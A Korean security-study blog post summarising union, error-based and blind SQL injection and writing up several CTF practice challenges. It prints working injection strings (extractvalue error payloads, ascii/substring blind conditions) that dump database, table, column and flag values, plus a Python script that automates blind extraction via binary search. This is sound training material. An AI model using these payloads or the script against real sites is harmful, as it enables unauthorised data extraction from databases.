[취업반 스터디 2달 3주차: 과제]

Minseok Jo·2023년 12월 7일
post-thumbnail

2달차 3주차 과제는 다음 5가지와 같다.

  1. Error Based SQLi 정리 & 연습문제 풀기
  2. Blind SQLi 정리 & 연습문제 풀기
  3. SQL Injection : 데이터 추출 총정리
  4. SQL Injection : CTF 문제 풀기 (Write-Up 작성)
  5. 웹 개발
    +로그인
    + 회원가입
    + 마이페이지
    + 게시판

1, 2번 복습 내용은 "스터디 정리" 카테고리에 기록해두었다.
따라서 3번 과제부터 정리하였다.


1. SQL Injection 데이터 추출 총정리

1) 각 SQL Injection 기법에 따른 차이점

구분/종류Union BasedError BasedBlind
화면에 결과가 나오는가?OOX

2) Union SQL Injection

  • union 연산을 이용
    주의점: union을 통해 통합되는 select 절은 선행되는 select 절과 컬럼의 개수가 동일해야 한다.

  • 프로세스

  1. SQL Injection 포인트 찾기
    SQL 쿼리 추측 & 참조건 대입
  2. 컬럼 개수 찾기
    order by
  3. 데이터 출력 위치 찾기
    union
  4. 데이터베이스 이름 찾기
    select database()
  5. 테이블 이름 찾기
    select table_name from information_schema.tables where table_schema='DB이름'
  6. 컬럼 이름 찾기
    select column_name from information_schema.columns where table_name='테이블 이름'
  7. 데이터 추출
    select (컬럼) from (테이블)

3) Error Based SQL Injection

  • 에러 메시지를 활용
    주의점: 이 때의 에러 메시지는 '논리 오류' 메시지여야 한다.

  • 프로세스
  1. SQL Injection 포인트 찾기
    SQL 쿼리 추측 & 참조건 대입

  2. 오류 메시지 확인
    SQL 에러 메시지인지

  3. 논리 에러 출력 함수 찾기
    extractvalue()

  4. 공격 format 만들기
    x' and extractvalue('1', concat(0x3a, (SQL))) and '1'='1

  5. 데이터베이스 이름 찾기
    select database()

  6. 테이블 이름 찾기
    select table_name from information_schema.tables where table_schema='DB이름'

  7. 컬럼 이름 찾기
    select column_name from information_schema.columns where table_name='테이블 이름'

  8. 데이터 추출
    select (컬럼) from (테이블)



3) Blind SQL Injection

  • 참/거짓 조건의 결과가 다른것을 활용

  • 프로세스
  1. SQL Injection 포인트 찾기
    SQL 쿼리 추측 & 참/거짓 조건 대입

  2. select 구문이 동작 가능한지 확인
    x' and ((select 'test')='test') and '1'='1

  3. 공격 format 만들기
    x' and (ascii(substring((SQL), 1, 1))>0) and '1'='1

  4. 데이터베이스 이름 찾기
    select database()

  5. 테이블 이름 찾기
    select table_name from information_schema.tables where table_schema='DB이름'

  6. 컬럼 이름 찾기
    select column_name from information_schema.columns where table_name='테이블 이름'

  7. 데이터 추출
    select (컬럼) from (테이블)



SQL 질의문을 삽입하는 방식 또는 공격 Format의 형태만 다를 뿐,
데이터베이스 이름, 테이블 이름, 컬럼 이름, 데이터를 찾아내는 과정은 동일하다.


이렇게 첫번째 과제인 'SQL Injection : 데이터 추출 총정리' 과제가 완료되었다.


2. SQL Injection : CTF문제 풀기

[SQL Injection (Error Based SQLi Basic)]

"스터디 정리" 카테고리 "2달 3주차" 수업내용에 정리되어 있음.


[SQL Injection (Blind Practice)]

해당 CTF 문제는 Blind SQL Injection 프로세스 절차와 풀이가 위의 링크에 정리되어 있다.
그러나 Blind SQL Injection의 경우 일일히 수행하기에는 시간이 오래걸리는 단점이 있어 Python을 통해 자동화 코드를 작성해보았다.

기본 코드는 다음과 같다.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = input("URL: ")
format = input("공격 포맷: ")
word = input("참조건에 포함되는 단어: ")

while(True):
    SQL = input("실행할 SQL문: ")
    new_format = format.replace("SQL", SQL)
    print("[Searching...]")
        
    for idx in range(1, 20+1):
        new_format2 = new_format.replace("), 1","), "+str(idx))
        param = {'key':new_format2}
        res = requests.get(URL, params=param, verify=False)
            
        if (not word in res.text):
            break
            
        min = 33
        max = 126
            
        while (True):
            half = (min+max)//2
                
            new_format3 = new_format2.replace(">0", ">"+str(half))
            new_param = {'key':new_format3}
            new_res = requests.get(URL, params=new_param, verify=False)
                
            equal_format = new_format3.replace('>','=')
            equal_param = {'key':equal_format}
            equal_res = requests.get(URL, params=equal_param, verify=False)
                
            if (word in equal_res.text):
                print(chr(half), end="")
                break
            elif (word in new_res.text):
                min = half+1
            else:
                max = half-1
    print("")
  • "스터디 정리" 카테고리 "2달 3주차" 에 정리되어있는 Blind SQL Injection 절차를 그대로 코드로 적용한 것이며, ASCII코드값을 효율적으로 찾기 위해 이진 탐색을 적용하였다.

  • 위의 코드에 추가적으로  [POST/GET 방식 구분],   [결과 페이지에 특정 단어 포함/미포함 탐색],  [파라미터 name 값 입력],  [limit가 포함된 경우, 인덱스 자동 증가]   기능을 추가하였다.
    기본 코드에 조금만 수정을 한 내용이므로 해당 코드는 생략하였다.


그렇다면, 다시 문제로 돌아가보자.

실습 페이지는 다음과 같다.아이디를 입력하면 존재 여부를 출력해준다.없는 아이디의 경우 다음과 같이 출력된다.

위의 과정을 Burp Suite을 통해 살펴보았다.

○ 파라미터 전달 방식은 POST 방식이며, 아이디를 입력받는 태그의 name값은 query 이다.

이제 자동화를 위해 필요한 정보는 모두 준비되었다.

input (1) : URL 입력
○ URL에는 공격을 수행할 페이지의 주소를 입력한다.
● 따라서 실습 페이지의 주소를 입력해주었다.

input (2): 데이터 전송 방식 입력
○ 데이터 전송방식(GET/POST) 을 선택한다.
● Burp Suite을 통해서 패킷을 살펴보았을 때, POST방식이었으므로 1(POST)를 입력해주었다.

input (3): 특정 단어 포함 여부 선택
○ 참의 조건으로 실행할 때, 그 결과 페이지에 특정단어가 포함되는지 미 포함되는지 선택해준다.
● 참의 조건일때 "존재하는 아이디입니다" 라는 글자가 출력되었다.
따라서 "존재하는" 이라는 문자열이 있는지 여부로 참의 조건인지 판단할 것이므로 1(포함)을 입력해주었다.

input (4): 데이터를 입력받는 태그의 name 값 입력
○ 데이터를 입력받는 input 태그의 name 값을 입력해준다.
● Burp Suite을 통해서 패킷을 살펴보았을 때, query 였으므로 그 값을 입력해주었다.

input (5): 공격 format 입력
○ Blind SQL Injection 프로세스 4번째 단계에서 작성한 공격 format을 입력한다.
● 앞서 작성한 공격 format인, normaltic' and (ascii(substring((SQL), 1, 1))>0) and '1'='1 을 입력해주었다.

input (6): 참/거짓 조건을 판단할 기준 단어 입력
○ 참조건에 포함/미포함 되는 특정 단어를 입력해준다
● 해당 실습페이지에 경우, 참의 경우 결과 페이지에 "존재하는 아이디" 라고 출력되므로, 이 중 "존재하는" 이라는 문자열을 선택해주었다.

자동화를 위한 기본 세팅은 끝이 났다.
이제 원하는 SQL 질의문만 입력해주면 자동으로 그 값들을 출력해준다.

  1. 데이터베이스 이름 찾기
데이터베이스 이름: blindSqli

  1. 테이블 이름 찾기
테이블 이름: flagTable, member

  1. 컬럼 이름 찾기
컬럼 이름: idx, flag

  1. 데이터 추출
플래그 출력 완료



[SQL Injection 3]

주어진 문제는 다음과 같다.


1) SQL 쿼리 추측
파라미터를 넣어보며 SQL 쿼리를 추측한다.

(1) 실습 페이지는 다음과 같다.(2) 아이디(normaltic) / 비밀번호(1234) 를 입력하면 로그인이 된다.

위의 결과를 보았을때, SQL 쿼리를 다음과 같이 추측해볼 수 있다.

select * from (테이블) where id = '아이디' && pw = '비밀번호';

2) 오류를 발생시켜, 오류 메시지를 확인
일부러 오류를 발생시킴으로써, SQL 에러 메시지인지 확인한다.

아이디 마지막에 ' 삽입SQL 쿼리
완성되는 쿼리: select from (테이블) where id='normaltic' and pw='1234''

쿼리 재구성: select
from (테이블) where id='normaltic' and pw='1234'  '

일부로 따옴표의 개수를 불일치하게 만들어 오류를 유발시켰고,
그 결과 출력된 에러 메시지가 SQL 에러 메시지인것을 확인할 수 있다.


3) 논리 에러 출력 함수 찾기
SQL쿼리문 실행 중에 오류가 나도록 하는 함수를 찾는다.
    위에서 언급하였던, extractvalue()를 사용하고자 한다.


4) 공격 Format 만들기
논리 오류 함수를 사용하여, 에러메시지에 원하는 값이 출력되도록 하는 기본 공격 format을 작성한다.

  1. 앞서 추측한 SQL쿼리 구문에 맞도록 extractvalue() 함수를 넣어준다.
id = normaltic' and extractvalue('1', ':test') and '1'='1
pw = 1234
실행결과SQL 쿼리
완성되는 쿼리: select from (테이블) where id='normaltic' and extractvalue('1', ':test') and '1'='1' and pw= '1234'

쿼리 재구성: select
from (테이블) where id='normaltic' and extractvalue('1', ':test') and '1'='1' and pw='1234'
○ test앞에 콜론(:)이 추가된것은, 두 번째 인수가 항상 유효하지 않은 XPath 표현식이 되도록하기 위함이다.

  1. concat 함수를 추가하여, 콜론(:)을 문자가 아닌, 16진수 값으로 바꾸어 'test' 문자열과 합쳐준다.
id = normaltic' and extractvalue('1', concat(0x3a, 'test')) and '1'='1
pw = 1234
실행결과SQL 쿼리
완성되는 쿼리: select from (테이블) where id='normaltic' and extractvalue('1', concat(0x3a, 'test')) and '1'='1' and pw= '1234'

쿼리 재구성: select
from (테이블) where id='normaltic' and extractvalue('1', concat(0x3a, 'test')) and '1'='1' and pw='1234'
○ 결과는 1. 과 동일하다.

  1. 'test' 부분을 빈칸으로 만들어주고, 원하는 SQL을 넣어주기만 하면 된다.
id = normaltic' and extractvalue('1', concat(0x3a, (SQL))) and '1'='1
pw = 1234

이렇게 공격 format 작성이 완료되었다.



5) DB이름 출력
에러 메시지에 데이터베이스 이름이 출력되도록 한다.
데이터 베이스의 이름을 출력하는 명령은 다음과 같다.

select database()

해당 select 구문을 위에서 작성한 공격 format에 그대로 넣어주면 된다.

id = normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1'='1
pw = 1234
실행결과SQL 쿼리
완성되는 쿼리: select from (테이블) where id='normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1'='1' and pw='1234'

쿼리 재구성: select
from (테이블) where id='normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1'='1' and pw='1234'

이로써 에러 메시지에 출력된 데이터베이스 이름 (sqli_2)을 찾아내었다.



6) 테이블 이름 출력
에러 메시지에 테이블 이름이 출력되도록 한다.
테이블의 이름을 출력하는 명령은 다음과 같다.

select table_name from information_schema.tables where table_schema='DB이름'

해당 select 구문을 위에서 작성한 공격 format에 그대로 넣어주면 된다.

id = normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2'))) and '1'='1
pw = 1234
실행결과SQL 쿼리
완성되는 쿼리: select from (테이블) where id='normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2'))) and '1'='1' and pw='1234'

쿼리 재구성: select
from (테이블) where id='normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2'))) and '1'='1' and pw='1234'

그런데 행이 1개 이상이라는 메시지가 출력되었다.
즉, 테이블에 여러개 이므로 limit 구문을 사용하여 한행씩 출력되도록 해주었다.

id = normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2' limit 0, 1))) and '1'='1
pw = 1234
실행결과SQL 쿼리
완성되는 쿼리: select from (테이블) where id='normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2' limit 0, 1))) and '1'='1' and pw='1234'

쿼리 재구성: select
from (테이블) where id='normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='sqli_2' limit 0, 1))) and '1'='1' and pw='1234'

이로써 에러 메시지에 출력된 테이블 이름 (flag_table)을 찾아내었다.



7) 컬럼 이름 출력
에러 메시지에 컬럼 이름이 출력되도록 한다.
컬러의 이름을 출력하는 명령은 다음과 같다.

select column_name from information_schema.columns where table_name='컬럼 이름'

해당 select 구문을 위에서 작성한 공격 format에 그대로 넣어주면 된다.

id = normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flag_table' limit 0, 1))) and '1'='1
pw = 1234
실행결과SQL 쿼리
완성되는 쿼리: select from (테이블) where id='normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flag_table' limit 0, 1))) and '1'='1' and pw='1234'

쿼리 재구성: select
from (테이블) where id='normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flag_table' limit 0, 1))) and '1'='1' and pw='1234'

이로써 에러 메시지에 출력된 컬럼 이름 (flag)을 찾아내었다.



8) 데이터 추출
테이블명과 컬럼명을 모두 알아냈으므로, 원하는 데이터를 추출한다.

select (컬럼) from (테이블)

해당 select 구문을 위에서 작성한 공격 format에 그대로 넣어주면 된다.

id = normaltic' and extractvalue('1', concat(0x3a, (select flag from flag_table))) and '1'='1
pw = 1234
실행결과SQL 쿼리
완성되는 쿼리: select from (테이블) where id='normaltic' and extractvalue('1', concat(0x3a, (select flag from flag_table))) and '1'='1' and pw='1234'

쿼리 재구성: select
from (테이블) where id='normaltic' and extractvalue('1', concat(0x3a, (select flag from flag_table))) and '1'='1' and pw='1234'

이로써 에러 메시지에 출력된 플래그를 찾아내었다.



[SQL Injection 4]

주어진 문제는 다음과 같다.

링크에 접속하여 보자.
실습 페이지는 다음과 같다.유효한 아이디를 입력하면 로그인이 된다.없는 아이디의 경우 다음과 같이 출력된다.

결과를 보면, 참(로그인 성공) / 거짓(로그인 실패) 에 따라 응답이 다른것을 확인할 수 있다.
따라서 Blind SQL Injection 자동화 코드를 적용해보고자 한다.

먼저, 위의 과정을 Burp Suite을 통해 살펴보았다.

○ 파라미터 전달 방식은 POST 방식이다.
● UserId, Password, Submit 3개의 파라미터를 전달받는다.

이제 자동화를 위해 필요한 정보는 모두 준비되었다.

input (1) : URL 입력
○ URL에는 공격을 수행할 페이지의 주소를 입력한다.
● 따라서 실습 페이지의 주소를 입력해주었다.

input (2): 데이터 전송 방식 입력
○ 데이터 전송방식(GET/POST) 을 선택한다.
● Burp Suite을 통해서 패킷을 살펴보았을 때, POST방식이었으므로 1(POST)를 입력해주었다.

input (3): 특정 단어 포함 여부 선택
○ 참의 조건으로 실행할 때, 그 결과 페이지에 특정단어가 포함되는지 미 포함되는지 선택해준다.
● 거짓 조건(로그인 실패)으로 실행하였을 때, Warning 이라는 글자가 출력되었다.
따라서, 참인 조건(로그인 성공)이라면 이 글자가 결과에 포함되지 않으므로 0(미포함)을 입력해주었다.

input (4): 데이터를 입력받는 태그의 name 값 입력
○ 데이터를 입력받는 input 태그의 name 값을 입력해준다.
● Burp Suite을 통해서 패킷을 살펴보았을 때, 아이디를 입력받는 name 값이 UserId 였으므로 그 값을 입력해주었다.

input (5): 공격 format 입력
○ Blind SQL Injection 프로세스 4번째 단계에서 작성한 공격 format을 입력한다.
● 앞서 작성한 공격 format인, normaltic' and (ascii(substring((SQL), 1, 1))>0) and '1'='1 을 입력해주었다.

input (6): 참/거짓 조건을 판단할 기준 단어 입력
○ 참조건에 포함/미포함 되는 특정 단어를 입력해준다
● 해당 실습페이지에 경우, 참의 경우 결과 페이지에 "Warning" 이라는 단어가 출력되지 않으므로, 이 값을 선택해주었다.

자동화를 위한 기본 세팅은 끝이 났다.
이제 원하는 SQL 질의문만 입력해주면 자동으로 그 값들을 출력해준다.

  1. 데이터베이스 이름 찾기
데이터베이스 이름: sqli_2_1

  1. 테이블 이름 찾기
테이블 이름: flag_table, member

  1. 컬럼 이름 찾기
컬럼 이름: flag1, flag2, ..., flag8

  1. 데이터 추출
플래그 출력 완료



[SQL Injection 5]

주어진 문제는 다음과 같다.

링크에 접속하여 보자.
실습 페이지는 다음과 같다.유효한 아이디를 입력하면 로그인이 된다.없는 아이디의 경우 다음과 같이 출력된다.

결과를 보면, 참(로그인 성공) / 거짓(로그인 실패) 에 따라 응답이 다른것을 확인할 수 있다.
따라서 Blind SQL Injection 자동화 코드를 적용해보고자 한다.
준비 과정은 SQL Injection 4와 동일하므로 생략하고, 코드 실행 결과만 나타내었다.

자동화 코드 실행 결과

이렇게 SQL Injection 5 문제의 플래그를 찾아내었다.




[SQL Injection 6]

주어진 문제는 다음과 같다.

링크에 접속하여 보자.
실습 페이지는 다음과 같다.유효한 아이디를 입력하면 로그인이 된다.없는 아이디의 경우 다음과 같이 출력된다.

결과를 보면, 참(로그인 성공) / 거짓(로그인 실패) 에 따라 응답이 다른것을 확인할 수 있다.
따라서 Blind SQL Injection 자동화 코드를 적용해보고자 한다.
준비 과정은 SQL Injection 4, 5와 동일하므로 생략하고, 코드 실행 결과만 나타내었다.

자동화 코드 실행 결과

이렇게 SQL Injection 6 문제의 플래그를 찾아내었다.


이렇게 두번째 과제인 'CTF 문제 풀기' 과제가 완료되었다.


0개의 댓글